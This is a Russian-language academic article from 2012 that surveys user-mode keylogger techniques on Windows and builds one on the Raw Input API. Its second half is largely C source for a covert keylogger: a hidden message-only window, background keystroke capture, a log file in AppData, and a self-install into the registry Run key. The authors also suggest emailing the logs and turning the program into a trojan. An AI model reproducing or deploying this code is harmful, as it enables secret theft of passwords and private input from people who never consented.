УДК 004.056

Болдарев А. Г.[1], к.т.н., Петров А.А.[2], д.т.н., доц. Скопа А.А.[3]

[1]*Восточноукраинский университет имени Владимира Даля, Луганск*
[2]*Восточноукраинский университет имени Владимира Даля, Луганск*
[3]*Одесский национальный экономический университет, Одесса*

РЕАЛИЗАЦИЯ ПРОГРАММНОЙ ЗАКЛАДКИ МЕТОДОМ ПРЯМОГО ДОСТУПА К УСТРОЙСТВАМ ВВОДА RAW INPUT API

В статье рассматривается применение интерфейса прямого доступа к устройствам ввода Raw Input API и реализация программного обеспечения для регистрации ввода с клавиатуры на его основе.

Современные операционные системы корпорации Microsoft серии Windows обладают достаточно широким набором программных интерфейсов для доступа к устройствам ввода. Среди них изначально родной для ОС Windows Windows Messaging, часть DirectX – DirectInput и, появившийся в Windows XP Raw Input API – *программный интерфейс прямого доступа к устройствам ввода.* Последний представляет наибольший интерес в вопросах информационной безопасности. Он среди всех вышеперечисленных является самым низкоуровневым. Это позволяет ему иметь некоторые преимущества по сравнению с другими способами доступа к устройствам ввода, теряя при этом ряд удобств в работе. Другие способы доступа к устройствам ввода так или иначе основываются на нём, однако его низкоуровневая природа придаёт ему большую гибкость.

Raw Input API позволяет, например, обрабатывать в своём приложении несколько клавиатур и мышей как *различные* устройства. Видимо, этот интерфейс доступа составит конкуренцию DirectInput в среде разработчиков игровых и мультимедийных приложений, но в данной работе нас этот вопрос не интересует. Нас интересует то, что этот интерфейс, работает надёжно и достаточно слабо блокируется другими приложениями. Скажем, если в программе в каком-либо виде используется регистрация ввода с клавиатуры (модель Windows Messaging), то, после запуска приложения, использующего способ ввода DirectInput, ваша программа перестанет регистрировать ввод, поступающий в это приложение. С Raw Input API такого не произойдёт. Это следствие его более низкоуровневой природы.

Теперь рассмотрим модель прямого доступа к устройствам ввода подробнее.

Модель работы программного интерфейса прямого доступа к устройствам ввода

Ранее мышь и клавиатура генерировали данные о вводе. Операционная система скрывала данные непосредственно поступающие от устройства. Например, клавиатура при нажатии клавиши генерирует специфичный для устройства *скан-код* клавиши, но приложение получало вместо него *виртуальный код* клавиши, стандартизированный в рамках операционной системы. Скрывая специфичную для устройства информацию, операционная система не давала возможности приложениям поддерживать новые типы устройств ввода и все их возможности. В такой ситуации приложению, для получения ввода с неподдерживаемых устройств, приходилось выполнять много лишней работы – открывать устройство, периодически опрашивать его, очень часто требовалось реализо-

вать специализированный драйвер и т. д. Интерфейс прямого доступа к устройствам ввода предоставляет программный интерфейс для простого доступа к низкоуровневым данным от устройств, включая клавиатуру и мышь.

Модель программного интерфейса прямого доступа к устройствам ввода отличается от изначальной модели доступа к данным от устройств ввода в Windows. В изначальной модели приложение получало независимую от конкретного устройства ввода информацию с помощью таких сообщений, как WM_CHAR, WM_MOUSEMOVE и WM_APPCOMMAND. Для получения прямого доступа к устройству, приложение должно зарегистрировать устройства, от которых оно хочет получать информацию о вводе. Так же, приложение, которое получает информацию от устройств ввода напрямую, должно обрабатывать сообщение WM_INPUT.

Программный интерфейс прямого доступа к устройствам ввода имеет некоторые важные преимущества:

- приложение не должно получать доступ или обнаруживать устройство;
- приложение получает информацию напрямую от устройства и обрабатывает полученные данные как ему угодно;
- приложение может различить конкретное устройство ввода, даже если оно получает ввод от нескольких устройств одного типа. Например, обработать по-разному две одновременно подключенные компьютерные мыши;
- приложение контролирует поступление данных от конкретного типа устройств или конкретного устройства;
- новые устройства ввода могут без проблем использоваться сразу после своего появления, не дожидаясь пока ввод от них будет стандартизирован в сообщениях операционной системы.

Для получения прямого доступа к устройствам ввода приложение должно зарегистрировать устройства, от которых оно хочет получать информацию.

Для регистрации устройств, приложение должно создать массив из структур RAWINPUTDEVICE. Таким образом приложение укажет типы устройств, от которых оно хочет получать данные о вводе. Приложение должно вызвать функцию RegisterRawInputDevices() чтобы зарегистрировать устройства, от которых оно хочет получать данные о вводе.

Заметьте, что приложение может зарегистрировать устройство, которое не подключено к системе. Когда оно всё же будет подключено, приложение будет получать от него данные. Чтобы получить список устройств на конкретной системе, приложение должно вызвать функцию GetRawInputDeviceList(), после чего оно получит массив структур RAWINPUTDEVICELIST, в этой структуре есть дескриптор (hDevice), описывающий конкретное устройство. Используя полученный дескриптор и функцию GetRawInputDeviceInfo() можно получить информацию о конкретном устройстве ввода.

Используя член структуры RAWINPUTDEVICE dwFlags, приложение может указать, как именно оно хочет получать информацию от устройств ввода.

Приложение получает информацию от устройств ввода обрабатывая сообщение WM_INPUT. Приложение получает это сообщение, даже работая в фоновом режиме. Для нас это один из ключевых моментов.

Есть два метода получения информации от устройств ввода напрямую – *не буферизированный* (или *стандартный*) и *буферизированный*.

Не буферизированный подходит для устройств ввода, которые генерируют не много данных о вводе (например, клавиатура). Приложение может получить не более одной структуры RAWINPUT за раз. При обработке сообщения WM_INPUT приложение должно вызывать функцию GetRawInputData() используя дескриптор на структуру RAWINPUT полученный из сообщения. Именно этот способ нас и интересует.

При буферизированном вводе приложение получает массив структур RAWINPUT за раз. Приложение должно вызвать функцию GetRawInputBuffer() для получения мас-

сива структур. Макрос NEXTRAWINPUTBLOCK должен использоваться для обхода массива.

Для обработки информации нужна подробная информация об устройстве ввода. Приложение может получить подробную информацию используя функцию GetRawInputDeviceInfo() и дескриптор устройства. Дескриптор может быть получен из сообщения WM_INPUT либо из члена структуры RAWINPUTHEADER hDevice.

Классы программ для регистрации ввода с клавиатуры

Программные средства для регистрации ввода с клавиатуры можно разделить на две подгруппы – работающие в режиме пользователя и работающие в режиме ядра. Те, которые работают в режиме ядра, имеют свои преимущества и недостатки: они сложно обнаруживаются программными средствами, однако их работа связана с созданием драйвера. Это вносит некоторые особенности в процесс развёртывания такого программного обеспечения на целевой системе: для установки драйвера нужны права администратора, в новых версиях ОС драйвер должен пройти сертификацию, не говоря уже о том, что создание драйвера требует высокой квалификации программиста. Ещё они легко обходятся экранными клавиатурами. В общем, процесс создания программного обеспечения для регистрации ввода, работающего в режиме ядра, выходит за рамки этой статьи. В этой статье больше внимания будет уделено созданию программному обеспечению, работающему в пользовательском режиме.

Теперь рассмотрим некоторые варианты реализации программных закладок (кейлоггеров), работающих в режиме пользователя. Программная закладка – это внесенные в программное обеспечение функциональные объекты, которые при определенных условиях (входных данных) инициируют выполнение не описанных в документации функций, позволяющих осуществлять несанкционированные воздействия на информацию. Присутствие программных закладок в информационных системах представляет собой серьезную потенциальную опасность. Внедрение и функционирование программной закладки в компьютере носит латентный характер [4].

Самым простым и часто используемым можно считать вариант реализации, устанавливающий ловушку (*хук, hook*), на сообщения от клавиатуры для всех потоков системы. Суть метода заключается в том, что кейлоггер устанавливает фильтрующую функцию-ловушку, посредством вызова функции SetWindowsHookEx(). Сама функция ловушка, как правило, находится в отдельной динамически загружаемой библиотеке. При выборке сообщений от клавиатуры из очереди сообщений потока, система вызовет установленную функцию-ловушку. К достоинствам такого метода стоит отнести простоту реализации. Но он обладает и массой недостатков. Во-первых, по причине внедрения во все процессы, ожидающие сообщений от клавиатуры, его легко обнаружить. Во вторых, такой метод не сработает для всех процессов системы, если кейлоггер запущен от имени пользователя, обладающего малыми привилегиями. В третьих, при неправильной или не качественной реализации функции-ловушки, кейлоггер может создавать ощутимые для пользователя задержки при вводе. В четвёртых, перехват данных о вводе для приложений, использующих более низкоуровневые методы, будет невозможен.

Вторым по популярности методом реализации кейлоггеров, является циклический опрос состояния клавиатуры посредством функций GetAsyncKeyState() либо GetKeyState(), возвращающих массив, описывающий состояние клавиатуры. Анализируя массив, можно понять, какие клавиши были нажаты. Это предельно простой метод реализации, не требующий создания функции-ловушки и загружаемой динамической библиотеки. Достаточно лишь опрашивать клавиатуру с определённой частотой. Однако у этого метода есть серьёзные недостатки. Во-первых, в связи с тем, что опрос производится с определённой периодичностью, возможны пропуски. Во-вторых – велика возможность обнаружения программы. Достаточно производить мониторинг процессов, опрашивающих состояние клавиатуры с большой частотой. В третьих, такой метод может

создавать большую нагрузку на процессор ПК, если программа производит опрос клавиатуры со слишком большой частотой.

Третьим методом реализации программного обеспечения для мониторинга ввода с клавиатуры, является метод внедрения в процесс и перехвата функций обработки сообщений GetMessage() и PeekMessage() из динамически загружаемой библиотеки user32.dll. Чаще всего применяется метод внедрения, называемый *сплайсингом,* либо подмена адресов функций в таблице импорта (IAT), перехват функции GetProcAddress() и т. д. Сам кейлоггер может реализовываться в виде динамически загружаемой библиотеки или посредством непосредственного внедрения кода в процесс. При вызове функции для извлечения сообщения из очереди сообщений, этот вызов на самом деле переходит к коду функции-перехватчика. Если сообщение является сообщением от клавиатуры, информация о сообщении извлекается из параметров сообщения, должным образом обрабатывается и протоколируется кейлоггером. Это достаточно эффективный метод реализации, в виду относительной сложности реализации не часто применяющийся, и из-за этого и не так легко обнаруживающийся. От него не спасают и экранные клавиатуры. Как правило, для развёртывания такого кейлоггера могут потребоваться права администратора на системе, в виду внедрения кода во все процессы, ожидающие ввода с клавиатуры, что является недостатком. Просто заметить, что этот метод наследует много недостатков первого метода в виду близости двух этих методов: лёгкость обнаружения, невозможность перехвата во всех приложениях и т.д.

Ещё одним методом является использование модели прямого ввода (Raw Input API), на которой мы уже подробно останавливались. Единственным очевидным недостатком является, присущая всем методам реализации кейлоггеров пользовательского режима, относительная лёгкость обнаружения, так как приложение должно указать свою заинтересованность в сообщениях WM_INPUT – по умолчанию приложения не получают этого сообщения. Однако на практике, этот метод реализации пока не является достаточно распространённым, поэтому далеко не все средства обнаружения такого рода программного обеспечения способны обнаружить такой кейлоггер. Так же развёртывание такого кейлоггера не требует полномочий администратора на целевой системе, не требует создания кода, внедряющегося в другие процессы, такой кейлоггер не производит большой нагрузки на систему и не обходится экранными клавиатурами. В свете вышесказанного, он является предпочтительным методом реализации кейлоггера пользовательского режима.

Практическая реализация

Итак, после краткого анализа функционировании кейлоггеров, применим их на практике. Мы будем использовать модель прямого доступа к устройствам ввода (Raw Input API), почему - обсуждалось выше. Все листинги приведены на языке программирования Си и были проверены в Visual Studio 2010.

Приложение, использующее модель прямого доступа к устройствам ввода должно иметь окно, чтобы получать сообщения WM_INPUT. Однако, кейлоггер должен быть незаметной программой и видимое окно для него непозволительная роскошь. К счастью, в операционной системе Windows есть такой тип окон, как *окна только для сообщений (message-only windows).* Такое окно не отображается на экране компьютера и не появляется в списке окон. Однако приложение, имеющее такое окно способно получать сообщения, как и любое другое оконное приложение Windows. Выполнение программы начинается, как и положено, с функции WinMain() либо, как в нашем случае, для приложений Unicode с wWinMain(). Весь код этой функции приводить бессмысленно, он весьма стандартен, за исключением создания окна для сообщений. Приведём только строчку, где непосредственно создаётся окно:

```
/* Создать окно для сообщений */
      hWnd = CreateWindow(wc.lpszClassName,NULL,0,0,0,0,0,
HWND_MESSAGE,NULL,hInstance,NULL);
```

Далее рассмотрим функцию оконной процедуры, а особенно участки, отвечающие за обработку сообщений WM_CREATE и WM_INPUT. Прототип её стандартен:

```
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam,
LPARAM lParam)
{
	switch (message)
	{
	case WM_CREATE:
		{
```

Далее идёт код, выполняющийся при создании окна. Определяем переменные и структуры, необходимые в этом блоке кода.

```
	SYSTEMTIME time;
	WCHAR date[MAXLINE] = {0};
	WCHAR module_path[MAX_PATH] = {0};
```

Далее определим путь к файлу, куда будут протоколироваться нажатия клавиш.

```
/* получим путь к логу клавиш по умолчанию */
if ( get_default_log_path(log_path) != 0)
		die(L"Can\'t get default log path.", 4);
```

Здесь, как видим, вызывается функция get_default_log_path(), которая определяет путь для сохранения лога на текущей машине. Её код мы рассмотрим позже. Лог сохраняется в папке пользователя по пути %ApplicationData%\Roaming\klog.txt. Функция die() вызывается в случае критической ошибки. В качестве первого параметра она принимает текст сообщения об ошибки, в качестве второго – код который программа возвращает при завершении. Её реализация тривиальна и приводиться в статье не будет.

Далее, определим текущее время и дату и запишем их в лог для обозначения начала сессии записи.

```
GetLocalTime(&time);
StringCchPrintfW(date, MAXLINE, L"Date: %d-%d-%d\r\nTime:
%d:%d:%d\r\n\r\n",
				time.wDay,time.wMonth, time.wYear,
				time.wHour, time.wMinute, time.wSecond);

if ( write_log(log_path, (PBYTE)date, lstrlenW(date) * 2, 0) != 0)
		die(L"Can\'t get access to log file.", 1);
```

Запись в файл-протокол производиться с помощью функции write_log(), в качестве первого параметра она принимает путь к файлу, в качестве второго указатель на блок данных, в качестве третьего – размер данных. Её реализацию приведём позже.

Далее зарегистрируем наше приложение для получения сообщений WM_INPUT о вводе с клавиатуры.

```
	/* Укажем заинтересованность нашего приложения в сообщениях Raw
Input */
	ri.hwndTarget = hWnd;
	ri.dwFlags = RIDEV_NOLEGACY | RIDEV_INPUTSINK;
	/* Значения usUsage и usUsagePage брать из таблиц HID Usage
Tables от USB Implementers Forum.
	 * Для клавиатуры они следующие */
	ri.usUsage = 6;
	ri.usUsagePage = 1;
	if ( RegisterRawInputDevices(&ri, 1, sizeof(ri)) != TRUE )
```

```
            die(L"Can\'t register raw input device.", 5);
```

Всё, описание блока кода, отвечающего за обработку сообщения WM_CREATE, закончено.

```
        }
        break;
```

Теперь приведём реализацию функции get_default_log_path():

```
int get_default_log_path(WCHAR *path)
{
        /* определить путь к Application Data (согласно версии ОС) */
        if ( SHGetFolderPath(NULL, CSIDL_APPDATA, NULL,
SHGFP_TYPE_CURRENT, path) != S_OK )
                return 1;
        if ( StringCchCatW(path, MAX_PATH, L"\\") != S_OK )
                return 1;
        if ( StringCchCatW(path, MAX_PATH, DEF_LOG_FILENAME) != S_OK )
                return 1;

        return 0;
}
```

Приведём код функции записи в лог-файл write_log(). Она каждый раз открывает файл и записывает данные в конец.

```
/* Записать данные в файл */
int write_log(PWSTR path, PBYTE data, SIZE_T size, int
distance_to_move)
{
        HANDLE hLogFile = NULL;
        DWORD dwWritten;
        hLogFile = CreateFile(path, GENERIC_WRITE, FILE_SHARE_READ,
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
        if ( hLogFile == NULL )
                return 1;

        /* Всегда пишем в конец файла */
        if ( SetFilePointer(hLogFile, distance_to_move, NULL,FILE_END)
==  INVALID_SET_FILE_POINTER )
        {
                CloseHandle(hLogFile);
                return 1;
        }

        if ( WriteFile(hLogFile, data, size, &dwWritten, NULL) == 0 )
        {
                CloseHandle(hLogFile);
                return 1;
        }

        CloseHandle(hLogFile);
        return 0;
}
```

Теперь приведём блок, отвечающий за обработку сообщения WM_INPUT. Именно здесь происходит обработка и получение данных от клавиатуры.

В начале, опишем переменные, используемые в этом блоке:

```
case WM_INPUT:
        {
                UINT uiRawInputSz;
                PBYTE pRawInputData;
                PRAWINPUT ri_data;
                WCHAR kchar;
```

```
            USHORT scan_code;
            UINT message;
            int vk_code;
```

Получим данные о вводе:

```
uiRawInputSz = 0;
/* Получим размер данных от Raw Input */
if ( GetRawInputData( (HRAWINPUT) lParam, RID_INPUT, NULL,
&uiRawInputSz, sizeof(RAWINPUTHEADER)) == -1 )
      break;
/* Выделим память для данных Raw Input */
pRawInputData = (PBYTE) HeapAlloc(GetProcessHeap(), 0, uiRawInputSz);
if ( pRawInputData == NULL )
      break;
/* Теперь собственно получим данные об вводе от устройства. */
if ( GetRawInputData( (HRAWINPUT) lParam, RID_INPUT, pRawInputData,
&uiRawInputSz, sizeof(RAWINPUTHEADER)) == -1 )
{
      HeapFree(GetProcessHeap(), 0, pRawInputData);
      break;
}
```

Сохраним себе интересующие нас данные и освободим выделенную память:

```
ri_data = (PRAWINPUT) pRawInputData;

message = vk_code = scan_code = kchar = 0;

/* Сохраним себе скан-код и виртуальный код клавиш. */
scan_code = ri_data->data.keyboard.MakeCode;
vk_code = ri_data->data.keyboard.VKey;
message = ri_data->data.keyboard.Message;
/* Конвертируем виртуальный код клавиши в ASCII*/
kchar = (WCHAR) MapVirtualKeyW(ri_data->data.keyboard.VKey,
MAPVK_VK_TO_CHAR);

/* Освободим данные о вводе */
HeapFree(GetProcessHeap(), 0, pRawInputData);
```

Теперь обработаем полученные данные. И сохраним данные о нажатии клавиши при необходимости.

```
if ( (message == WM_KEYDOWN) || (message == WM_SYSKEYDOWN) )
{
/* пропустим коды меньше пробела */
if ( kchar < ' ' )
{
      if ( (kchar != '\b') && ( kchar != '\t' ) && ( kchar != '\r' ) )
      break;
}

/* пропустим коды больше тильды */
if ( kchar > '~' )
      break;
```

Обработаем некоторые клавиши (Tab, Enter, Backspace) особым образом, чтобы они были видны в логе:

```
/* определения в начале файла с исходным кодом */
#define BACKSPACE L"<<\\b>>"
#define NEWLINE L"<<\\n>>\r\n"
#define TAB L"<\\t>>"
```

```
if ( kchar == '\b' )
{
	write_log(log_path, (PBYTE) BACKSPACE, lstrlenW(BACKSPACE) * 2,
0);
		break;
}
else if ( kchar == '\r' )
{
	write_log(log_path, (PBYTE) NEWLINE, lstrlenW(NEWLINE) * 2, 0);
		break;
}
else if ( kchar == '\t' )
{
	write_log(log_path, (PBYTE) TAB, lstrlenW(TAB) * 2, 0);
		break;
}
```

Обработаем остальные клавиши, при этом будем учитывать текущую раскладку клавиатуры и состояние нажатия кнопок:

```
else
{
	WCHAR key[MAXLINE];
	int ret;
	int current_layout;

	/* получим информацию о нажатых клавишах */
	if ( GetKeyboardState(key_states) == 0)
	{
		die(L"Can\'t get keyboard state.", 1);
		break;
	}
	current_layout = 0;
	/* определим текущую раскладку для активного окна */
	(int ) current_layout = (int)
GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(),
	 NULL)) & 0xFFFF;
	if ( current_layout == 0)
		break;
	ret = 0;
	/* сконвертируем виртуальный код клавиши в символ юникода
согласно раскладке и информации о нажатых клавишах */
	ret = ToUnicodeEx(vk_code, scan_code, key_states, key, MAXLINE,
1, (HKL) current_layout);
	/* запишем символ в лог */
	write_log(log_path, (PBYTE) key, lstrlenW(key) * 2, 0);
				break;
}
```

Обработка сообщения о поступлении ввода закончена.

```
			}
		}
		break;
	case WM_CLOSE:
		{
			PostQuitMessage(0);
		}
```

```
            break;
      default:
            return DefWindowProcW(hWnd, message, wParam, lParam);
      }
      return 0;
}
```

Можно также реализовать функцию для добавления программы в автозагрузку. Её вызов можно добавить в блок кода, где обрабатывается сообщение WM_INPUT:

```
/* Функция пытается добавить исполняемый файл программы в автозапуск
*/
int self_add_to_autostart(WCHAR *location)
{
      WCHAR reg_path[MAXLINE] = {0};
      HKEY hBranch;
      HKEY hVal;
      SIZE_T DataLen;
      DWORD ret = 0;

      /* Путь в реестре к ветке автозагрузки */
      StringCchPrintfW(reg_path, MAXLINE,
L"Software\\Microsoft\\Windows\\CurrentVersion\\Run");

      /* Получим хэндл на ветку реестра HKCU */
      if ( RegOpenCurrentUser(KEY_ALL_ACCESS, &hBranch) !=
ERROR_SUCCESS )
            return 1;

      /* Создадим новую запись */
      if ( (ret = RegCreateKeyW(hBranch, reg_path, &hVal)) !=
ERROR_SUCCESS )
      {
            RegCloseKey(hBranch);
            return 1;
      }

      if ( StringCbLengthW(location, MAX_PATH, (size_t *)&DataLen) !=
S_OK )
      {
            RegCloseKey(hBranch);
            RegCloseKey(hVal);
            return 1;
      }
      /* Укажем в качестве значения записи путь к исполняемому файлу
*/
      if ( RegSetValueExW(hVal,
            AUTOSTART_REG_VALUE,
            0,
            REG_EXPAND_SZ,
            (const BYTE *)location,
            DataLen) != ERROR_SUCCESS )
      {
            RegCloseKey(hBranch);
            RegCloseKey(hVal);
            return 1;
      }
      RegCloseKey(hBranch);
```

```
        RegCloseKey(hVal);

        return 0;
}
```

Пример файла-протокола:

```
Date: 18-11-2012
Time: 23:39:48

Is keylogger working?<<\n>>
```

Этого вполне достаточно для кейлоггера. Можно реализовать также отправку файла-протоколма по электронной почте, копирование исполняемого файла программы в скрытое хранилище и таким образом превратить кейлоггер в троянскую программу. Однако мы не будем этого делать, а оставим реализацию подобного функционала в программе на усмотрение читателя.

Выводы

В статье вы проанализированы принципы построения программ для мониторинга ввода с клавиатуры. Однако, в статье мы сознательно обошли правовые и моральные аспекты применения такого рода программ. Не смотря на то, что защита информации воспринимается как что-то далёкое и мнимое, наказания за информационные преступления вполне реальны. Обладая подобными знаниями, лучше не выставлять их напоказ широкой публике, чтобы уберечь её и себя от возможных проблем. Помните об этом.

Помните так же и о том, что подобного рода программное обеспечение нельзя однозначно трактовать как «плохое» или «хорошее». Всё зависит от намерений человека, решившего его использовать. Так, кейлоггер может быть использован в качестве средства для шпионажа, родительского контроля, слежения за исполнением обязанностей сотрудника, и т.п.

Авторы статьи снимают с себя ответственность за то, где и как будет применены описанные методики.

Надійшла до редколегії 15.09.2012

Литература

1. Mark E. Russinovich, David A. Solomon with Alex Ionescu – Windows Internals, 5th Edition, Microsoft Press, 2009.
2. Назарр К., Рихтер Дж. - Windows via C&C++. Программирование на языке Visual C++ - 2009.
3. Рихтер Дж. - Windows для профессионалов. Создание эффективных Win32 приложений, 4-ое издание, 2001.
4. http://www.anti-malware.ru/software_backdoors